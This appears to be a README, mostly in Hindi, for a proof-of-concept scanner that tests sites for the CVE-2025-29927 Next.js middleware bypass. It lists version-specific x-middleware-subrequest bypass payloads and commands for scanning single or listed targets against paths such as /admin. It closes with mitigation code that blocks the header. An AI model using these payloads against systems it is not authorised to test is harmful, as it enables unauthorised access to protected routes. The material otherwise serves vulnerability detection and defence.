
Automated PoC scanner for CVE-2025-29927 Next.js middleware bypass vulnerability. Tests multiple x-middleware-subrequest payloads across target URLs with concurrent scanning and JSON export.
CVE-2025-29927 (Next.js मिडलवेयर भेद्यता) का पता लगाने के लिए एक मजबूत प्रूफ ऑफ कॉन्सेप्ट (PoC) उपकरण।
यह उपकरण Next.js अनुप्रयोगों में एक महत्वपूर्ण भेद्यता का परीक्षण करता है, जहाँ x-middleware-subrequest हेडर का उपयोग मिडलवेयर में लागू सुरक्षा जाँचों को बायपास करने के लिए किया जा सकता है। शोषण में विशिष्ट दुर्भावनापूर्ण हेडर के साथ HTTP अनुरोध भेजना शामिल है, जो Next.js संस्करण के अनुसार भिन्न होता है।
शोध के अनुसार, विभिन्न Next.js संस्करणों के लिए अलग-अलग पेलोड मौजूद हैं:
संस्करण 12.2 से पहले:
x-middleware-subrequest: pages/_middleware
संस्करण 12.2 से आगे:
x-middleware-subrequest: middleware
या
x-middleware-subrequest: src/middleware
(यदि अनुप्रयोग src निर्देशिका का उपयोग करता है)
नवीनतम संस्करण (जैसे 15.x):
x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware
या
x-middleware-subrequest: src/middleware:src/middleware:src/middleware:src/middleware:src/middleware
हमारी PoC स्वचालित रूप से इन सभी पेलोड का परीक्षण करती है और रिपोर्ट करती है कि कौन सा सफल रहा।
# रिपॉजिटरी को क्लोन करें या फ़ाइलें डाउनलोड करें
# निर्देशिका में जाएँ
cd poc-nextjs-2025
# आवश्यक पैकेज स्थापित करें
pip install -r requirements.txt
python main.py -u https://example.com # एकल URL का परीक्षण करें
python main.py -f targets.txt # फ़ाइल से कई URL का परीक्षण करें
# एकल लक्ष्य का बुनियादी स्कैन
python main.py -u https://example.com
# कस्टम पथ के साथ कई लक्ष्य स्कैन करें
python main.py -f targets.txt -p /api/users,/admin,/dashboard
# अधिक समवर्तीता और लंबी टाइमआउट के साथ स्कैन करें
python main.py -u https://example.com -t 10 --timeout 15
# परिणाम JSON फ़ाइल में सहेजें
python main.py -u https://example.com -o scan_results.json
स्कैनर निम्नलिखित के माध्यम से काम करता है:
x-middleware-subrequest हेडर के विभिन्न रूपों वाले अनुरोध भेजनायदि आप कमजोर अनुप्रयोग पाते हैं, तो इन शमनों को लागू करें:
x-middleware-subrequest हेडर वाले अनुरोधों को ब्लॉक करता हैexport function middleware(request: NextRequest) {
if (request.headers.has('x-middleware-subrequest')) {
return new Response('Unauthorized', { status: 401 });
}
return NextResponse.next();
}
| विकल्प | विवरण |
|---|
-u, --url URL | स्कैन करने के लिए लक्ष्य URL |
-f, --file FILE | एकाधिक URL (एक प्रति पंक्ति) वाली फ़ाइल |
-p, --paths PATHS | अल्पविराम से अलग किए गए परीक्षण पथ (डिफ़ॉल्ट: सामान्य पथ) |
-t, --threads N | समवर्ती थ्रेड की संख्या (डिफ़ॉल्ट: 5) |
-o, --output FILE | परिणाम JSON फ़ाइल में सहेजें |
--timeout N | अनुरोध समय सीमा सेकंड में (डिफ़ॉल्ट: 10) |